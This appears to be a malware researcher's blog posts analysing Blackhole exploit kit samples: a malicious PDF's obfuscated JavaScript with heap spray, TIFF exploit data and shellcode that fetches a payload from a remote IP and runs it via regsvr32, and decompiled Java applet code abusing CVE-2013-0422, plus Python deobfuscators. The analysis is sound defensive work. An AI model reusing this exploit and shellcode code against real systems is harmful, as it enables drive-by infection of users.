2**22**^!@#**2M**4D**4M**4P**^!@#**23**46**3A**2H**^!@#**2O**2B**2M**46**^!@#**3A**2H**2N**46**^!@#**3A**2C**29**4J**^!@#**4C**4L**4E**51**^!@#**4F**2M**46**3A**^!@#**2H**26**26**24**^!@#**58**46**4J**2K**^!@#**2O**46**3A**2F**^!@#**29**4J**4C**4L**^!@#**4E**51**4F**2M**^!@#**46**3A**2I**2O**^!@#**46**3A**2C**29**^!@#**4A**4F**48**4P**^!@#**34**4M**4B**4C**^!@#**32**51**23**46**^!@#**3A**2H**24**2M**^!@#**46**3A**2J**2O**^!@#**46**3A**2F**29**^!@#**4A**4F**48**4P**^!@#**34**4M**4B**4C**^!@#**32**51**23**46**^!@#**3A**2H**2O**46**^!@#**4J**2K**24**2M**^!@#**46**3A**2G**26**^!@#**2O**3K**51**4P**^!@#**4G**4L**4E**29**^!@#**4D**4P**4M**4K**^!@#**34**4F**48**4P**^!@#**34**4M**4B**4C**^!@#**23**46**3A**2I**^!@#**45**46**3A**2J**^!@#**24**2M**5A**4P**^!@#**4C**51**52**4P**^!@#**4L**1L**46**3A**^!@#**2G**5A**4D**52**^!@#**4L**4A**51**4G**^!@#**4M**4L**1L**46**^!@#**3A**2K**23**46**^!@#**3A**2H**24**58**^!@#**46**4H**2B**2O**^!@#**46**3A**2H**29**^!@#**51**4M**3K**51**^!@#**4P**4G**4L**4E**^!@#**23**2C**2H**24**^!@#**2M**46**4H**2C**^!@#**2O**46**4H**2B**^!@#**29**4J**4C**4L**^!@#**4E**51**4F**2M**^!@#**46**3A**2G**2O**^!@#**23**46**4H**2C**^!@#**2O**2D**24**3O**^!@#**22**2B**22**26**^!@#**46**4H**2B**2L**^!@#**46**4H**2B**2M**^!@#**4P**4C**51**52**^!@#**4P**4L**1L**46**^!@#**3A**2G**5A**4D**^!@#**52**4L**4A**51**^!@#**4G**4M**4L**1L**^!@#**46**4H**2D**23**^!@#**46**3A**2C**24**^!@#**58**46**3A**2G**^!@#**2O**22**22**2M**^!@#**4D**4M**4P**23**^!@#**46**3A**2H**2O**^!@#**2B**2M**46**3A**^!@#**2H**2N**46**3A**^!@#**2C**29**4J**4C**^!@#**4L**4E**51**4F**^!@#**2M**46**3A**2H**^!@#**26**2O**2D**24**^!@#**58**46**3A**2G**^!@#**26**2O**22**2O**^!@#**52**22**2M**46**^!@#**3A**2G**26**2O**^!@#**46**3A**2K**23**^!@#**46**3A**2C**29**^!@#**4A**4F**48**4P**^!@#**34**4M**4B**4C**^!@#**32**51**23**46**^!@#**3A**2H**26**2C**^!@#**24**24**2M**46**^!@#**3A**2G**26**2O**^!@#**46**3A**2K**23**^!@#**46**3A**2C**29**^!@#**4A**4F**48**4P**^!@#**34**4M**4B**4C**^!@#**32**51**23**46**^!@#**3A**2H**24**24**^!@#**5A**4P**4C**51**^!@#**52**4P**4L**1L**^!@#**46**3A**2G**5A**^!@#**4D**52**4L**4A**^!@#**51**4G**4M**4L**^!@#**1L**46**4H**2E**^!@#**23**24**58**46**^!@#**4H**2F**2O**46**^!@#**4J**2G**23**24**^!@#**2M**4G**4D**23**^!@#**46**4H**2F**2N**^!@#**2K**2B**2B**2B**^!@#**24**58**46**4H**^!@#**2G**2O**22**4M**^!@#**26**52**32**3K**^!@#**4H**4E**4E**4E**^!@#**4I**4N**52**3D**^!@#**2F**33**3C**2A**^!@#**2A**2A**2A**2A**^!@#**54**32**32**32**^!@#**32**33**32**32**^!@#**32**32**32**32**^!@#**32**32**32**32**^!@#**32**32**3I**32**^!@#**32**32**32**32**^!@#**32**32**32**4D**^!@#**4F**48**32**3K**^!@#**4G**32**4E**4O**^!@#**32**2K**2J**36**^!@#**3A**33**3C**22**^!@#**2M**46**4H**2H**^!@#**2O**46**4J**2C**^!@#**2M**46**4H**2I**^!@#**2O**46**3A**2E**^!@#**23**46**4H**2H**^!@#**24**5A**4C**4J**^!@#**5O**4C**58**46**^!@#**4H**2G**2O**22**^!@#**4I**33**26**32**^!@#**3K**4H**4G**3I**^!@#**4F**36**4N**2K**^!@#**4D**4M**33**3C**^!@#**2A**2A**2A**2A**^!@#**2A**54**32**32**^!@#**32**32**33**32**^!@#**32**32**32**32**^!@#**32**32**32**32**^!@#**32**32**32**3I**^!@#**32**32**32**32**^!@#**32**32**32**32**^!@#**4O**55**34**32**^!@#**3K**4G**32**4E**^!@#**4O**32**2A**4D**^!@#**36**2F**33**3C**^!@#**22**2M**46**4H**^!@#**2H**2O**46**4J**^!@#**2D**2M**46**4H**^!@#**2I**2O**46**3A**^!@#**2E**23**46**4H**^!@#**2H**24**5A**46**^!@#**4H**2J**2O**22**^!@#**3K**3M**4I**4O**^!@#**32**35**4E**4E**^!@#**32**32**33**33**^!@#**22**2M**46**4H**^!@#**2K**2O**46**3A**^!@#**2D**23**22**3I**^!@#**3M**37**33**22**^!@#**27**2C**2B**2K**^!@#**2J**2F**24**2M**^!@#**46**4J**4J**2B**^!@#**2O**22**3I**3I**^!@#**4A**32**32**32**^!@#**36**35**32**32**^!@#**36**32**32**32**^!@#**32**54**3A**32**^!@#**32**32**32**3I**^!@#**36**35**32**32**^!@#**36**32**32**32**^!@#**32**33**32**32**^!@#**32**32**32**54**^!@#**36**35**32**32**^!@#**36**32**32**32**^!@#**32**33**32**32**^!@#**32**32**33**4E**^!@#**36**35**32**32**^!@#**36**32**32**32**^!@#**32**33**32**32**^!@#**32**32**36**3I**^!@#**36**36**32**32**^!@#**36**32**32**32**^!@#**32**3A**32**32**^!@#**32**32**37**54**^!@#**36**36**32**32**^!@#**36**32**32**32**^!@#**32**54**3A**32**^!@#**32**32**3M**32**^!@#**36**35**32**3E**^!@#**54**32**32**32**^!@#**34**3K**3A**32**^!@#**32**32**32**32**^!@#**32**32**32**32**^!@#**32**3E**35**32**^!@#**4H**2A**2A**2A**^!@#**2A**2A**22**2M**^!@#**46**4J**4J**2C**^!@#**2O**46**4H**2J**^!@#**26**46**4H**2K**^!@#**26**46**4J**4J**^!@#**2B**26**46**4H**^!@#**2G**2M**46**4J**^!@#**4J**2D**2O**46**^!@#**4H**4G**2C**23**^!@#**46**4H**2I**27**^!@#**22**22**24**2M**^!@#**4G**4D**23**46**^!@#**4J**4J**2D**29**^!@#**4J**4C**4L**4E**^!@#**51**4F**2O**2D**^!@#**24**46**4J**4J**^!@#**2D**26**2O**52**^!@#**4L**4C**5O**4A**^!@#**48**4N**4C**23**^!@#**22**2O**2B**2B**^!@#**22**24**2M**46**^!@#**4J**4J**2E**2O**^!@#**46**4H**2D**23**^!@#**46**4J**4J**2D**^!@#**24**2M**54**4G**^!@#**51**4F**23**58**^!@#**4I**2L**46**4J**^!@#**4J**2E**5A**24**^!@#**46**3A**2B**23**^!@#**4I**24**2M**3A**^!@#**4K**48**4E**4C**^!@#**37**4G**4C**4J**^!@#**4B**2C**29**4P**^!@#**48**54**3N**48**^!@#**4J**52**4C**2O**^!@#**46**4J**4J**2C**^!@#**5A**46**4H**2E**^!@#**23**24**2M';
a=a.replace.apply(a,[/(\^!@#)|(\*)/g,&quot;&quot;]);
s=[];
cc=String;
cc=cc[pp];
tt=event[cc.apply(String,[Ox74,Ox61,Ox72,Ox67,Ox65,Ox74])];
for(i=O;i&lt;a.&#1O8;ength;i+=2){
 s.push(tt[p](a.&#115;ubstr(i,3-1),26)-15);
}
if(tt.info["Authors"]===null){
 k=cc.apply(String,s);
 q="e"+cc.apply(String,[Ox76]);
 q+="al";
 tt[q](&#1O7;);
}
</xfa:script></event></field></subform><proto></proto></subform><?templateDesigner DefaultLanguage FormCalc?><?templateDesigner DefaultRunAt client?><?templateDesigner Grid show:1, snap:1, units:O, color:ff8O8O, origin:(O,O), interval:(125OOO,125OOO)?><?templateDesigner Rulers horizontal:1, vertical:1, guidelines:1, crosshairs:O?><?templateDesigner Zoom 76?></template>



Lets clean it, run it through node-js and see what comes out:

var padding;
var bbb, ccc, ddd, eee, fff, ggg, hhh;
var pointers_a, i;
var x = new Array();
var y = new Array();
var _l1 = "4c2O6OOfO5178O4a3c2O6OOfOf638O4aa3eb8O4a3O2O824a6e2f8O4a4141414126OOOOOOOOOOOOOOOOOOOOOOOOOOOOOO12398O4a642O6OOfOOO4OOOO4141414141414141" + "OOOO5636d697d3f646366226c6873626d34746761767e6629613d396f6573762f613a31333a36723a3e613a3e613a3e613a33333a32333a3e613a37613d356O7f656175766d662a613a3O333a39613a3b613a38613d3O73766f3O786O7e217f23693O343935333264693135333239316832673934653O3361623162316167323f23693O343935333264693135333239316832673934653O3361623162316167323f24353e25363e2132313e2932313f2f2a3O7474786O7f2a16397646cb1b5a8ac33db1Of698eOa8ef89ceeOe4e8ffffefc98e8O65ffefa6OOa64c57OOf3O874af57OOf3O87431be2ObecO3c384O65ff35cObe38OOa64O65ff35OOa66157Oc584165ffOOa67535OOa6OOa615144Od14488O34O1ca895OO9Od1446cc6c646e25Od1447c4726O777OOd1447c159c338eb8cO65ffOOOOOO8f8635O237d2O28O42447c233327674O42447c37765627424O7ccO42c5d8OOOO1O4Oce1827be2Obeffffff168e8eb88O4c3861ff45d6c6275786OOOOe6f6863eff5O3c38O1e5b8ceb855O591Oc38O5OOOOOOff86O4a6O585OOOOOOOO8e9f2effffff898e955Oa67fb88O86b83fbe693O4733cOd7O8O286b8da35be3c95e5ba5c3Ob84Ob8dd3O8db8cO4245ffce64d8b4cOb866dd3O42e5b8e56e57f1b31fbeO4ad3OdObc1c8O472f83O1ebfObd335c3Odacf14949c335f3OO267b8655f3O875347b8c357b86515c4be9e15574e58424378bf576O93643cO3O4b88bffffO151ee18c233473Oc3e5b866bd338O67b865c1O7b8cOO4b8O3O4b846Oc33f59e43574e58cfcf4e3866".split('').reverse().join('').replace(/;/g, '');
var _l2 = "4c2O6OOfa5638O4a3c2O6OOf96218O4a9O1f8O4a3O9O844a7d7e8O4a4141414126OOOOOOOOOOOOOOOOOOOOOOOOOOOOOO71888O4a642O6OOfOOO4OOOO4141414141414141" + "OOOO5636d697d3f646366226c6873626d34746761767e6629613d396f6573762f613a31333a36723a3e613a3e613a3e613a33333a32333a3e613a37613d356O7f656175766d662a613a3O333a39613a3b613a38613d3O73766f3O786O7e217f23693O343935333264693135333239316832673934653O3361623162316167323f23693O343935333264693135333239316832673934653O3361623162316167323f24353e25363e2132313e2932313f2f2a3O7474786O7f2a16397646cb1b5a8ac33db1Of698eOa8ef89ceeOe4e8ffffefc98e8O65ffefa6OOa64c57OOf3O874af57OOf3O87431be2ObecO3c384O65ff35cObe38OOa64O65ff35OOa66157Oc584165ffOOa67535OOa6OOa615144Od14488O34O1ca895OO9Od1446cc6c646e25Od1447c4726O777OOd1447c159c338eb8cO65ffOOOOOO8f8635O237d2O28O42447c233327674O42447c37765627424O7ccO42c5d8OOOO1O4Oce1827be2Obeffffff168e8eb88O4c3861ff45d6c6275786OOOOe6f6863eff5O3c38O1e5b8ceb855O591Oc38O5OOOOOOff86O4a6O585OOOOOOOO8e9f2effffff898e955Oa67fb88O86b83fbe693O4733cOd7O8O286b8da35be3c95e5ba5c3Ob84Ob8dd3O8db8cO4245ffce64d8b4cOb866dd3O42e5b8e56e57f1b31fbeO4ad3OdObc1c8O472f83O1ebfObd335c3Odacf14949c335f3OO267b8655f3O875347b8c357b86515c4be9e15574e58424378bf576O93643cO3O4b88bffffO151ee18c233473Oc3e5b866bd338O67b865c1O7b8cOO4b8O3O4b846Oc33f59e43574e58cfcf4e3866".split('').reverse().join('').replace(/;/g, '');
//_l3 = app; @malforsec not needed
_l4 = new Array();

function _l5() {
//    var _l6 = _l3.viewerVersion.toString();
    var _l6 = "9.3.O"; //@malforsec set viewer version
    _l6 = _l6.replace('.', '');
    while (_l6.length < 4) _l6 += 'O';
    return parseInt(_l6, 1O)
}
function _l7(_l8, _l9) {
    while (_l8.length * 2 < _l9) _l8 += _l8;
    return _l8.substring(O, _l9 / 2)
}
function _IO(_I1) {
    _I1 = unescape(_I1);
    roteDak = _I1.length * 2;
    dakRote = unescape('%u9O9O');
    spray = _l7(dakRote, Ox2OOO - roteDak);
    loxWhee = _I1 + spray;
    loxWhee = _l7(loxWhee, 524O98);
    for (i = O; i < 4OO; i++) _l4[i] = loxWhee.substr(O, loxWhee.length - 1) + dakRote;
}
function _I2(_I1, len) {
    while (_I1.length < len) _I1 += _I1;
    return _I1.substring(O, len)
}
function _I3(_I1) {
    ret = '';
    for (i = O; i < _I1.length; i += 2) {
        b = _I1.substr(i, 2);
        c = parseInt(b, 16);
        ret += String.fromCharCode(c);
    }
    return ret
}
function _ji1(_I1, _I4) {
    _I5 = '';
    for (_I6 = O; _I6 < _I1.length; _I6++) {
        _l9 = _I4.length;
        _I7 = _I1.charCodeAt(_I6);
        _I8 = _I4.charCodeAt(_I6 % _l9);
        _I5 += String.fromCharCode(_I7 ^ _I8);
    }
    return _I5
}
function _I9(_I6) {
    _jO = _I6.toString(16);
    _j1 = _jO.length;
    _I5 = (_j1 % 2) ? 'O' + _jO : _jO;
    return _I5
}
function _j2(_I1) {
    _I5 = '';
    for (_I6 = O; _I6 < _I1.length; _I6 += 2) {
        _I5 += '%u';
        _I5 += _I9(_I1.charCodeAt(_I6 + 1));
        _I5 += _I9(_I1.charCodeAt(_I6))
    }
    return _I5
}
function _j3() {
    _j4 = _l5();
    if (_j4 < 9OOO) {
        _j5 = 'o+uASjgggkpuL4BK/////wAAAABAAAAAAAAAAAAQAAAAAAAAfhaASiAgYA98EIBK';
        _j6 = _l1;
        _j7 = _I3(_j6)
    } else {
        _j5 = 'kB+ASjiQhEp9foBK/////wAAAABAAAAAAAAAAAAQAAAAAAAAYxCASiAgYA/fE4BK';
        _j6 = _l2;
        _j7 = _I3(_j6)
    }
    _j8 = 'SUkqADggAABB';
    _j9 = _I2('QUFB', 1O984);
    _llO = 'QQcAAAEDAAEAAAAwIAAAAQEDAAEAAAABAAAAAwEDAAEAAAABAAAABgEDAAEAAAABAAAAEQEEAAEAAAAIAAAAFwEEAAEAAAAwIAAAUAEDAMwAAACSIAAAAAAAAAAMDAj/////';
    _ll1 = _j8 + _j9 + _llO + _j5;
    _ll2 = _ji1(_j7, '');
    if (_ll2.length % 2) _ll2 += unescape('%OO');
    _ll3 = _j2(_ll2);
    with({
        k: _ll3
    }) _IO(k);
//    ImageField1.rawValue = _ll1
    console.log(_ll1); //@malforsec log result
}
_j3();



Thats better! Looks like shellcode in the middle there.

3. Shellcode


Some magic is performed by these dark agents, or should we call them Dark Knights. Lets see if we can do just as good as King Arthur and see if we too can pass over the bridge when meeting The Dark Knight  (youtube - warning not for sensitive people).

Short Python intermesso: Just concatenating the strings from the JavaScript code. Last string reversed. Output the chars to get bin code.


>>> hexstr = "4c20600f0517804a3c20600f0f63804aa3eb804a3020824a6e2f804a41414141260000000000000000000000000000001239804a6420600f000400004141414141414141" + "00005636d697d3f646366226c6873626d34746761767e6629613d396f6573762f613a31333a36723a3e613a3e613a3e613a33333a32333a3e613a37613d35607f656175766d662a613a30333a39613a3b613a38613d3073766f3078607e217f23693034393533326469313533323931683267393465303361623162316167323f23693034393533326469313533323931683267393465303361623162316167323f24353e25363e2132313e2932313f2f2a30747478607f2a16397646cb1b5a8ac33db10f698e0a8ef89cee0e4e8ffffefc98e8065ffefa600a64c5700f30874af5700f3087431be20bec03c384065ff35c0be3800a64065ff3500a661570c584165ff00a6753500a600a6151440d1448803401ca8950090d1446cc6c646e250d1447c4726077700d1447c159c338eb8c065ff0000008f86350237d2028042447c233327674042447c3776562742407cc042c5d800001040ce1827be20beffffff168e8eb8804c3861ff45d6c62757860000e6f6863eff503c3801e5b8ceb85505910c3805000000ff8604a60585000000008e9f2effffff898e9550a67fb88086b83fbe69304733c0d7080286b8da35be3c95e5ba5c30b840b8dd308db8c04245ffce64d8b4c0b866dd3042e5b8e56e57f1b31fbe04ad30d0bc1c80472f8301ebf0bd335c30dacf14949c335f300267b8655f30875347b8c357b86515c4be9e15574e58424378bf576093643c0304b88bffff0151ee18c2334730c3e5b866bd338067b865c107b8c004b80304b8460c33f59e43574e58cfcf4e3866"[::-1]
>>> hexbytes = "".join(chr(int(hexstr[i:i+2],16)) for i in xrange(0,len(hexstr),2))
>>> hexbytes
'L `\x0f\x05\x17\x80J< `\x0f\x0fc\x80J\xa3\xeb\x80J0 \x82Jn/\x80JAAAA&\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x129\x80Jd `\x0f\x00\x04\x00\x00AAAAAAAAf\x83\xe4\xfc\xfc\x85\xe4u4\xe9_3\xc0d\x8b@0\x8b@\x0c\x8bp\x1cV\x8bv\x083\xdbf\x8b^<\x03t3,\x81\xee\x15\x10\xff\xff\xb8\x8b@0\xc3F9\x06u\xfb\x874$\x85\xe4uQ\xe9\xebLQV\x8bu<\x8bt5x\x03\xf5V\x8bv \x03\xf53\xc9IA\xfc\xad\x03\xc53\xdb\x0f\xbe\x108\xf2t\x08\xc1\xcb\r\x03\xda@\xeb\xf1;\x1fu\xe6^\x8b^$\x03\xddf\x8b\x0cK\x8dF\xec\xffT$\x0c\x8b\xd8\x03\xdd\x8b\x04\x8b\x03\xc5\xab^Y\xc3\xebS\xad\x8bh \x80}\x0c3t\x03\x96\xeb\xf3\x8bh\x08\x8b\xf7j\x05Y\xe8\x98\xff\xff\xff\xe2\xf9\xe8\x00\x00\x00\x00XPj@h\xff\x00\x00\x00P\x83\xc0\x19PU\x8b\xec\x8b^\x10\x83\xc3\x05\xff\xe3hon\x00\x00hurlmT\xff\x16\x83\xc4\x08\x8b\xe8\xe8a\xff\xff\xff\xeb\x02\xebr\x81\xec\x04\x01\x00\x00\x8d\\$\x0c\xc7\x04$regs\xc7D$\x04vr32\xc7D$\x08 -s Sh\xf8\x00\x00\x00\xffV\x0c\x8b\xe83\xc9Q\xc7D\x1d\x00wpbt\xc7D\x1d\x05.dll\xc6D\x1d\t\x00Y\x8a\xc1\x040\x88D\x1d\x04AQj\x00j\x00SWj\x00\xffV\x14\x85\xc0u\x16j\x00S\xffV\x04j\x00\x83\xeb\x0cS\xffV\x04\x83\xc3\x0c\xeb\x02\xeb\x13G\x80?\x00u\xfaG\x80?\x00u\xc4j\x00j\xfe\xffV\x08\xe8\x9c\xfe\xff\xff\x8eN\x0e\xec\x98\xfe\x8a\x0e\x89o\x01\xbd3\xca\x8a[\x1b\xc6Fy6\x1a/phttp://129.121.65.54/27aa2a2ac05d97b8a923519db359409c/27aa2a2ac05d97b8a923519db359409c/q.php?fsp=1h:1k:1i:30:1j&mfuqeope=1g:1n:32:33:1n:1n:1n:2v:31:1o&suoi=1i&nvqgdt=bcxlb&cdo=ymce\x00\x00'



Looks like we got some nice bin code out, and we even got straight to The Holy Grai.. - eehhm payload URL.

4. Payload URL


lets look at the code in hex - ascii format


0000000: 4c20 600f 0517 c280 4a3c 2060 0f0f 63c2  L `.....J< `..c.
0000010: 804a c2a3 c3ab c280 4a30 20c2 824a 6e2f  .J......J0 ..Jn/
0000020: c280 4a41 4141 4126 0000 0000 0000 0000  ..JAAAA&........
0000030: 0000 0000 0000 0012 39c2 804a 6420 600f  ........9..Jd `.
0000040: 0004 0000 4141 4141 4141 4141 66c2 83c3  ....AAAAAAAAf...
0000050: a4c3 bcc3 bcc2 85c3 a475 34c3 a95f 33c3  .........u4.._3.
0000060: 8064 c28b 4030 c28b 400c c28b 701c 56c2  .d..@0..@...p.V.
0000070: 8b76 0833 c39b 66c2 8b5e 3c03 7433 2cc2  .v.3..f..^<.t3,.
0000080: 81c3 ae15 10c3 bfc3 bfc2 b8c2 8b40 30c3  .............@0.
0000090: 8346 3906 75c3 bbc2 8734 24c2 85c3 a475  .F9.u....4$....u
00000a0: 51c3 a9c3 ab4c 5156 c28b 753c c28b 7435  Q....LQV..u<..t5
00000b0: 7803 c3b5 56c2 8b76 2003 c3b5 33c3 8949  x...V..v ...3..I
:
0000130: 6a05 59c3 a8c2 98c3 bfc3 bfc3 bfc3 a2c3  j.Y.............
0000140: b9c3 a800 0000 0058 506a 4068 c3bf 0000  .......XPj@h....
0000150: 0050 c283 c380 1950 55c2 8bc3 acc2 8b5e  .P.....PU......^
0000160: 10c2 83c3 8305 c3bf c3a3 686f 6e00 0068  ..........hon..h
0000170: 7572 6c6d 54c3 bf16 c283 c384 08c2 8bc3  urlmT...........
0000180: a8c3 a861 c3bf c3bf c3bf c3ab 02c3 ab72  ...a...........r
0000190: c281 c3ac 0401 0000 c28d 5c24 0cc3 8704  ..........\$....
00001a0: 2472 6567 73c3 8744 2404 7672 3332 c387  $regs..D$.vr32..
00001b0: 4424 0820 2d73 2053 68c3 b800 0000 c3bf  D$. -s Sh.......
00001c0: 560c c28b c3a8 33c3 8951 c387 441d 0077  V.....3..Q..D..w
00001d0: 7062 74c3 8744 1d05 2e64 6c6c c386 441d  pbt..D...dll..D.
00001e0: 0900 59c2 8ac3 8104 30c2 8844 1d04 4151  ..Y.....0..D..AQ
00001f0: 6a00 6a00 5357 6a00 c3bf 5614 c285 c380  j.j.SWj...V.....
0000200: 7516 6a00 53c3 bf56 046a 00c2 83c3 ab0c  u.j.S..V.j......
0000210: 53c3 bf56 04c2 83c3 830c c3ab 02c3 ab13  S..V............
0000220: 47c2 803f 0075 c3ba 47c2 803f 0075 c384  G..?.u..G..?.u..
0000230: 6a00 6ac3 bec3 bf56 08c3 a8c2 9cc3 bec3  j.j....V........
0000240: bfc3 bfc2 8e4e 0ec3 acc2 98c3 bec2 8a0e  .....N..........
0000250: c289 6f01 c2bd 33c3 8ac2 8a5b 1bc3 8646  ..o...3....[...F
0000260: 7936 1a2f 7068 7474 703a 2f2f 3132 392e  y6./phttp://129.
0000270: 3132 312e 3635 2e35 342f 3237 6161 3261  121.65.54/27aa2a
0000280: 3261 6330 3564 3937 6238 6139 3233 3531  2ac05d97b8a92351
0000290: 3964 6233 3539 3430 3963 2f32 3761 6132  9db359409c/27aa2
00002a0: 6132 6163 3035 6439 3762 3861 3932 3335  a2ac05d97b8a9235
00002b0: 3139 6462 3335 3934 3039 632f 712e 7068  19db359409c/q.ph
00002c0: 703f 6673 703d 3168 3a31 6b3a 3169 3a33  p?fsp=1h:1k:1i:3
00002d0: 303a 316a 266d 6675 7165 6f70 653d 3167  0:1j&mfuqeope=1g
00002e0: 3a31 6e3a 3332 3a33 333a 316e 3a31 6e3a  :1n:32:33:1n:1n:
00002f0: 316e 3a32 763a 3331 3a31 6f26 7375 6f69  1n:2v:31:1o&suoi
0000300: 3d31 6926 6e76 7167 6474 3d62 6378 6c62  =1i&nvqgdt=bcxlb
0000310: 2663 646f 3d79 6d63 6500 000a            &cdo=ymce...




Yes we got the url rgiht. So if we where after that we could now just fetch it...

5. Epilogue


Feels good to be on the same side as King Arthur and to be able to reverse and deobfuscate the Black(hole) Knights evi(a)l doings. And get our hands on The Holy Grail.

PS: running the shellcode with sctest and rasm failed with errors due to buffer overflow - any tip on how to get around that very much appreciated



Happy Blackhole PDF deobfuscation :)

Wednesday, March 6, 2013

Having fun reversing BHEK2 Java archives using Python


Having fun reversing BHEK2 Java Archives


- And since I need to learn more Python(not Monty that is) I just thought I would throw in a couple of Python scripts for the deobfuscation.


A couple of days back I looked into fetching the exploit files from the BHEK2.

While doing that excersise I got a couple of JAR archives. Lets look at one of them(They are almost identical anyway).


Now lets look into how the java code for this EK is built and what it does.


Just a reminder: I'm NO Java FU master so terminology and correctness might be sloppy. But I hope that we can get the job done.

0.First thing first: Unzip the JAR archive.  


$unzip 9_3.jar
/EK/cinema/9_3_jar$ unzip 9_3.jar 
Archive:  9_3.jar
   creating: META-INF/
  inflating: META-INF/MANIFEST.MF    
  inflating: hw.class                
  inflating: codehex.class           
  inflating: Impossible.class        
  inflating: RunnerGood.class        
  inflating: d.class                 
  inflating: Asd.class               
  inflating: test.class              
  inflating: test2.class



1. The Applet is where the adventure start, as that is whats called from the HTML code. 

Thats a class that extends java.lang.Applet. Since I have seen a couple of network traces of BHEK2 before I remember that to be hw.class.
To be able to read the source code of the class files we just unzipped, we need to reverse it from the Java byte code and back to readable source code.

showmycode.com is a nice tool for this! or if you prefer commandline: jad. Simpy "jad hw.class"

2. The applet - hw.class 

import java.applet.Applet;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;

public class hw extends Applet
{

    public hw()
    {
    }

    public static String pah(String s)
    {
        return (new StringBuffer(s)).reverse().toString();
    }

    public static byte[] shy(String s)
    {
        byte abyte0[] = new byte[s.length() / 2];
        for(int i = 0; i < s.length(); i += 2)
        {
            byte byte0 = (byte)((Character.digit(s.charAt(i), 16) << 4) + Character.digit(s.charAt(i + 1), 16));
            abyte0[i / 2] = byte0;
        }

        return abyte0;
    }

    public static Object rue(String s, String s1, Object obj)
        throws ReflectiveOperationException
    {
        return test2.rue2(s, s1, obj, new Class[0], new Object[0]);
    }

    public void init()
    {
        try
        {
            Class class1 = RunnerGood.bug(pah((new StringBuilder(String.valueOf(RunnerGood.zz))).append("vaj.allizom.gro.n".concat("us")).toString()));
            Method method = codehex.lot(class1, "enter", true);
            Object obj = method.invoke(null, new Object[0]);
            Method method1 = codehex.lot(class1, "createClassLoader", false);
            Object obj1 = method1.invoke(obj, new Object[1]);
            byte abyte0[] = d.decodeH(test2.one());
            Class class2 = RunnerGood.bug(pah("redaoLssalCdetareneG.lanretn".concat("i.tpircsavaj.all".concat("izom.gro.nus"))));
            Method method2 = codehex.lot(class2, test2.dd, false);
            String str12 = d.get(this);
            if(str12.indexOf("::") == -1)
            {
                Class class3 = (Class)method2.invoke(obj1, new Object[] {
                    0, abyte0
                });
                Constructor localConstructor = class3.getConstructor(new Class[] {
                    java/lang/String
                });
                localConstructor.newInstance(new Object[] {
                    str12
                });
            } else
            {
                Class my_class = (Class)method2.invoke(obj1, new Object[] {
                    0, Asd.arrayOfByte2
                });
                my_class.newInstance();
                Method mmm = my_class.getMethod("r", new Class[] {
                    java/lang/String, java/lang/Class
                });
                float a = 0.0F;
                mmm.invoke(null, new Object[] {
                    str12, hw
                });
            }
        }
        catch(Exception e)
        {
            e.printStackTrace();
        }
    }

    public static String gouerpyftn(String paramString)
    {
        String str2;
        String str1 = Asd.getKkkk();
        str2 = "";
        for(int i = 0; i < paramString.length(); i++)
        {
            Object localObject = Character.valueOf(paramString.charAt(i));
            int j = str1.indexOf(localObject.toString());
            if(j != -1)
            {
                if(j != 0)
                {
                    localObject = Character.valueOf(str1.charAt(j - 1));
                    str2 = (new StringBuilder(String.valueOf(str2))).append(localObject.toString()).toString();
                } else
                {
                    localObject = Character.valueOf(str1.charAt(str1.length() - 1));
                    str2 = (new StringBuilder(String.valueOf(str2))).append(localObject.toString()).toString();
                }
            } else
            {
                localObject = Character.valueOf(paramString.charAt(i));
                str2 = (new StringBuilder(String.valueOf(str2))).append(localObject.toString()).toString();
            }
        }

        return str2;
        Exception exception;
        exception;
        return "";
    }
}

Links to the classes @ showmycode.com:

hw.class              
codehex.class        
Impossible.class      
RunnerGood.class      
d.class              
Asd.class            
test.class            
test2.class


To the fun stuff! Can we figure out what the bad guys are up to, even when they do not want us to.

3. init() is the start of an applet so here is where we have to start investigating.

Class class1 = RunnerGood.bug(pah((new StringBuilder(String.valueOf(RunnerGood.zz))).append("vaj.allizom.gro.n".concat("us")).toString()));


Here the last string is appended to the string zz from the class RunnerGood (public static String zz = "txetnoC.lanretni.tpircsa";) and then the method pah() is run with that string as input. pah() just reverses the string and we end up with "sun.org.mozilla.javascript.internal.Context"

That string is sent into the bug() method of class RunnerGood.
That method is trying to find a class. Note also that there are referenses to MbeanInstantiator which was the problem with one of the Java 0-Days in January: CVE-2013-0422. Excellent paper on that here, And as we can see that is the exact trick used.


Having fun yet? That was not so hard :)

Line 40: Method method = codehex.lot(class1, "enter", true);
returning a method based on the params given to it.

Line 41: instantiate obj.

The whole thing is repeated and obj1 is instantiated.

Line 44: looks like we are going to start with the strings
byte abyte0[] = d.decodeH(test2.one()); the bytearray abyte0 is set:

OK, a lot of strings to concatenate and process.

4. Making use of Python

Here is where I take some time to code som Python and came up with the script below. I just grepped for the strings, redirected them to a file and renamed them. Swapped concat with "+" and cleaned it up a bit. Then I implemented the methods/functions.

getKkkk()

gouerpyftn(paramString)

one()

decodeH(paramString)


# malforsec BHEK Java deobfuscation 0.9

#Key
def getKkkk():
  str1 = "b12gO6%oh3}lfs98^mYauL5{qiy)RKpk40(VXBrtW&DzCFA-JndU_eZwTNHc+7QMx*vIPSGE"
  return str1;

#Deobfuscate main
def gouerpyftn(paramString):
  str1 = getKkkk()
  str2 = ""
  for i in range (0, len(paramString), 1):  
    c = paramString[i]
    j = str1.find(c)
    if j != -1:
      if j != 0:
        str2 += str1[(j-1)]
      else:
        str2 += str1[len(str1)-1]
    else:
      str2 =+ paramString[i]
  return str2

def one():
  str1 = impossible_str17 + test_str114 + test_str116 + test_str119 + asd_str122 + asd_str123 + asd_str124 + asd_str125
  return str1

def decodeH(paramString):
  str1 = ""
  for i1 in range(0, (len(paramString)/2), 1):
# Lets shorten the code a bit here and drop the codehex.ttt call
#    arrayOfByte[i1] = codehex.ttt(paramString, i1);
    str1 += str(chr(int(paramString[(i1*2):((i1*2)+2)], 16)))
  return str1

test2_str1 = "F-Abr-rb((((((}g((Ar(-(((8((0r(8((}}((0F(^((0z(-"
test2_str2 = "(((%((0b(^((0A(Q(({((^(({2(-(((%(({g(Q(({"
test2_str3 = "}(-(({0(({{(Q(({%(-(({Q(({^(Q(({8(-(((z((0r(}("
test2_str4 = "((A0g0((}((Q-2g(((-(((z(({-(Q(({r(-((2g((0r"
test2_str5 = "(-((2g(({F(^(({z(-((2g(({b(-((2g(({A(^((%((-(({Q("
test2_str6 = "(%2(^((%g(-((gF(({A(Q((%}(-((2F((%0(-((2F((%{(-((%%((%"
